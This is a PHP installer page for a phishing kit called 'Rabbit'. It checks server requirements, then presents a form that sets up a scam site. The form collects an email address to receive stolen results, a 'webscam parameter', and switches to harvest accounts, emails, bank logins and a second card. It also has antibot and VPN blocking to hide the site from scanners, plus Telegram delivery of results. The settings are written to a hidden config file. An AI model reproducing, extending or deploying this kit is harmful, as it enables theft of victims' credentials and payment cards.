<?php

session_start();
if (is_file('../RABBIT/LIVE/.settings.ini')) {
  header('Location: /ap/admin/login');
  exit();
}
ini_set('max_execution_time', 300);
if (isset($_POST['gass'])) {
  $result              = $_POST["result"];
  $parameter           = $_POST["parameter"];
  $blocker             = $_POST["blocker"];
  $antibot             = $_POST["antibot"];
  $getaccount          = $_POST["getaccount"];
  $getemail            = $_POST["getemail"];
  $getbank             = $_POST["getbank"];
  $vpndetect           = $_POST["vpndetect"];
  $doublecard          = $_POST["doublecard"];
  $telegram            = $_POST["telegram"];
  $authlog             = $_POST["authlog"];
  $stopbot             = $_POST["stopbot"];


  if (empty($result && $parameter && $blocker && $antibot && $stopbot && $getaccount && $getemail && $getbank && $vpndetect && $doublecard && $telegram && $authlog )) {
    $_SESSION["sukses"] = 'swal("Error", "Please input all fields.", "error");';
    $_SESSION['tampil'] = 'js-active';
    $_SESSION['tmp'] = 'js-active';
    $_SESSION['hide'] = 'hide';
    header('Location: /');
    exit();
  }
  if (filter_var($result, FILTER_VALIDATE_EMAIL) === false) {
    $_SESSION["sukses"] = 'swal("Error", "Please Enter a Valid Email.", "error");';
    $_SESSION['tampil'] = 'js-active';
    $_SESSION['tmp'] = 'js-active';
    $_SESSION['hide'] = 'hide';
    header('Location: /');
    exit();
  }

  $f = fopen("../RABBIT/LIVE/.settings.ini", "w");
  $token  = $_POST["adminaccess"];
  $domain = 'https://' . $_SERVER['SERVER_NAME'];
  setcookie('token', $token, time() + (86400 * 30), "/");
  setcookie('panel', $domain . '/ap/admin/login', time() + (86400 * 30), "/");
  setcookie('linksc', $domain . '/?' . $parameter, time() + (86400 * 30), "/");
  setcookie('copyright', '2025 All Right Reserved', time() + (86400 * 30), "/");
  fwrite($f, "ADMINACCESS = \"$token\"\nRESULT = \"$result\"\nPARAMETER = \"$parameter\"\nBLOCKER = \"$blocker\"\nANTIBOT = \"$antibot\"\nSTOPBOT = \"$stopbot\"\nGETACCOUNT = \"$getaccount\"\nGETEMAIL = \"$getemail\"\nGETBANK = \"$getbank\"\nVPNDETECT = \"$vpndetect\"\nDOUBLECARD = \"$doublecard\"\nTELEGRAM = \"$telegram\"\nAUTHLOG = \"$authlog\"\n");
  fclose($f);
  rename("key/rabbit.htaccess", "../.htaccess");
  $_SESSION["sukses"] = 'swal("success", "SUCCESS", "success");';
  header('Location: /ap/admin/finished');
  exit();
}
$phpversionsuccess = false;
$curlsuccess = false;
$displayerrorssuccess = false;
$zliboutputcompressionsuccess = false;
$timezonesuccess = false;
$phprequired = "7.4";
$phpversion = PHP_VERSION;
if (version_compare($phpversion, $phprequired) >= 0) {
  $phpversionsuccess = true;
}
if (function_exists("curl_version")) {
  $curlsuccess = true;
}
if (ini_get('display_errors')) {
  $displayerrorssuccess = true;
}
if (ini_get('zlib.output_compression')) {
  $zliboutputcompressionsuccess = true;
}
$timezonesettings = ini_get('date.timezone');
if ($timezonesettings) {
  $timezonesuccess = true;
}
if ($phpversionsuccess && $curlsuccess && $timezonesuccess && $displayerrorssuccess && $zliboutputcompressionsuccess) {
  $all_requirement_success = true;
} else {
  $all_requirement_success = false;
}
$writeable_directories = array(
  'RABBIT' => '/RABBIT',
  'RABBITLIVE' => '/RABBIT/LIVE'
);
foreach ($writeable_directories as $value) {
  if (!is_writeable(".." . $value)) {
    $all_requirement_success = false;
  }
}
$dashboardurl = $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$dashboardurl = preg_replace('/setup.*/', '', $dashboardurl);
if (!empty($_SERVER['HTTPS'])) {
  $dashboardurl = 'https://' . $dashboardurl;
} else {
  $dashboardurl = 'http://' . $dashboardurl;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Rabbit</title>
    <link rel="shortcut icon" href="../RABBIT/OFC/favicons/favicon.ico">
  <link href="https://fonts.googleapis.com/css?family=Poppins:400,600&display=swap" rel="stylesheet">
  <link href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css' rel='stylesheet'>
  <link href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
<link href="../RABBIT/Assets/css/rb.install.style.css" rel="stylesheet">
</head>

<body style="background-color: black;">
  <header class="header text-center mt-4">
    <img src="../RABBIT/OFC/logo-r.png" alt="rabbit" width="120">
    <h3 class="text-light mt-2">HELLO I'M RABBIT</h3>
  </header>
  <div style="margin-top: -15px;" class="content">
    <div class="content__inner">
      <div class="container overflow-hidden">
        <div class="multisteps-form">
          <div class="row">
            <div class="col-12 col-lg-8 ml-auto mr-auto mb-2">
              <div class="multisteps-form__progress text-center">
                <button style="border-radius:25px; border:2px solid white; font-size:22px; margin-bottom: -30px;" class="btn-transparent p-2 text-white js-active" title="Pre-Installation" disabled>SET UP REQUIREMENTS</button>
              </div>
            </div>
          </div>
          <div class="row">
            <div class="col-12 col-lg-8 m-auto">
              <form action="" method="POST" class="multisteps-form__form">
                <div class="multisteps-form__panel shadow p-4 rounded <?php echo @$_SESSION['hide'] ? $_SESSION['hide'] : 'js-active'; ?><?php unset($_SESSION['hide']); ?>" data-animation="slideHorz">
                  <div class="multisteps-form__content">
                    <div class="form-row mt-4">
                      <div class="col">
                        <table>
                          <thead class="text-center">
                            <tr>
                              <th class="text-center text-light">PHP</th>
                              <th class="text-light text-center">INSTALLED</th>
                              <th class="text-light text-center">REQUIREMENT</th>
                              <th class="text-light text-center">STATUS</th>
                            </tr>
                          </thead>
                          <tbody>
                            <tr>
                              <td style="font-weight:bold;" class="text-center text-success">VERSION</td>
                              <td class="text-white text-center"><?php echo $phpversion; ?></td>
                              <td class="text-white text-center"><?php echo $phprequired; ?>+</td>
                              <td>
                                <?php if ($phpversionsuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> </p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i></p>
                                <?php } ?>
                              </td>
                            </tr>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col">
                        <table>
                          <thead>
                            <tr>
                              <th class="text-light text-center">CONFIG PHP.ini</th>
                              <th class="text-light text-center">CURRENT</th>
                              <th class="text-light text-center">REQUIREMENT</th>
                              <th class="text-light text-center">STATUS</th>
                            </tr>
                          </thead>

                          <tbody>
                            <tr>
                              <td style="font-weight:bold;" class="text-success text-center">cURL</td>
                              <td class="text-white text-center"> <?php if ($curlsuccess) { ?>
                                  On
                                <?php } else { ?>
                                  Off
                                <?php } ?>
                              </td>
                              <td class="text-white text-center">On</td>
                              <td>
                                <?php if ($curlsuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> </p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> </p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td style="font-weight:bold;" class="text-success text-center">display_errors</td>
                              <td class="text-dark text-center"> <?php if ($displayerrorssuccess) { ?>
                                  On
                                <?php } else { ?>
                                  Off
                                <?php } ?>
                              </td>
                              <td class="text-center">On</td>
                              <td>
                                <?php if ($displayerrorssuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> </p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> </p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td style="font-weight:bold;" class="text-success text-center">zlib.output_compression</td>
                              <td class="text-white text-center"> <?php if ($zliboutputcompressionsuccess) { ?>
                                  On
                                <?php } else { ?>
                                  Off
                                <?php } ?>
                              </td>
                              <td class="text-white text-center">On</td>
                              <td>
                                <?php if ($zliboutputcompressionsuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> </p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> </p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td style="font-weight:bold;" class="text-success text-center">date.timezone</td>
                              <td class="text-dark text-center"> <?php if ($timezonesuccess) {
                                      echo $timezonesettings;
                                    } else {
                                      echo "Null";
                                    } ?>
                              </td>
                              <td class="text-dark text-center">Timezone</td>
                              <td>
                                <?php if ($timezonesuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> </p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> </p>
                                <?php } ?>
                              </td>
                            </tr>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="form-row mt-4" hidden>
                      <div class="col">
                        <table>
                          <tbody>
                            <?php
                            foreach ($writeable_directories as $value) {
                            ?>
                              <tr>
                                <td style="font-weight:bold;" class="text-success text-center"><?php echo $value; ?></td>
                                <td class="text-dark text-center">
                                  <?php if (is_writeable(".." . $value)) { ?>
                                    <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> </p>
                                  <?php
                                  } else {
                                    $all_requirement_success = false;
                                  ?>
                                    <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i></p>
                                  <?php } ?>
                                </td>
                              </tr>
                            <?php
                            }
                            ?>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="button-row d-flex mt-4">
                      <button <?php
                              if (!$all_requirement_success) {
                                echo "disabled=disabled";
                              }
                              ?> style="border: 2px solid white; border-radius:30px;" class="btn btn-dark text-white d-block w-100 p-3 ml-auto js-btn-next" type="button" title="Next"> Continue</button>
                    </div>
                  </div>
                </div>

                <div class="multisteps-form__panel shadow p-4 rounded <?php echo @$_SESSION['tmp'] ? $_SESSION['tmp'] : 'hide'; ?><?php unset($_SESSION['tmp']); ?>" data-animation="slideHorz">
                  <h3 class="multisteps-form__title text-white text-center mt-4" style="font-size:18px;" hidden>SET UP YOUR OWN SETTINGS</h3>
                  <div class="multisteps-form__content">
                    <div class="form-row mt-4">
                      <div class="col-6 col-sm-6 mt-4 mt-sm-0">
                        <label class="text-white">Email to collect result</label>
                        <input class="multisteps-form__input form-control" type="text" name="result" placeholder="Enter Your Email" value="cs@rabbitofc.icu"/>
                      </div>
                      <div class="col-6 col-sm-6 mt-4 mt-sm-0">
                        <label class="text-white">Webscam Parameter</label>
                        <input class="multisteps-form__input form-control" type="text" name="parameter" placeholder="Default" value="verify" />
                      </div>
                    </div>

                    
                    <div class="form-row mt-2">
                    <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="text-white"> Stopbot</label>
                        <select name="stopbot" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="text-white"> Block Vpn</label>
                        <select name="vpndetect" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="text-white"> Blocker</label>
                        <select name="blocker" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="text-white"> Antibot</label>
                        <select name="antibot" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                    </div>

                    <div class="form-row mt-2">
                       <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                          <label class="text-white"> Get Account</label>
                          <select name="getaccount" class="multisteps-form__select form-control">
                            <option selected="selected" value="off">FALSE</option>
                            <option value="on">TRUE</option>
                          </select>
                        </div>

                        <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="text-white"> Login Failed</label>
                        <select name="authlog" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>

                       <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="text-white"> Get Email</label>
                        <select name="getemail" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                    </div>

                    <div class="form-row mt-2">
                      <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="text-white"> Double Card</label>
                        <select name="doublecard" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="text-white"> Get Bank</label>
                        <select name="getbank" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="text-white"> Telegram</label>
                        <select name="telegram" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                    </div>
                    <div class="form-row mt-3">
                      <div class="col-6 col-sm-12 mt-4 mt-sm-0">
                        <label class="text-white"> Admin Access <i class="fa fa-lock ms-1 text-danger"></i> </label>
                        <input class="form-control" type="text" name="adminaccess" placeholder="Create you access key" required/>
                      </div>
                    </div>



                    <div class="button-row d-flex mt-4">
                      <button style="background-color:transparent; border:1px solid yellow; display:none;" class="btn btn-danger js-btn-prev" type="button" title="Prev"><i class="fa fa-arrow-left m-2"></i> BACK</button>
                      <button style="border: 2px solid white; border-radius:30px;" class="btn btn-dark p-3 d-block w-100 text-white ml-auto" <?php
                                                              if (!$all_requirement_success) {
                                                                echo "disabled=disabled";
                                                              }
                                                              ?> name="gass" type="submit" title="Install"> SAVE AND CONTINUE</button>
                    </div>
                  </div>
                </div>
              </form>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script>
  <script src="../RABBIT/Assets/js/rb.install.script.js"></script>
  <?php if (@$_SESSION['sukses']) { ?>
    <script>
      <?php echo $_SESSION['sukses']; ?>
    </script>
  <?php unset($_SESSION['sukses']);
  } ?>
</body>

</html>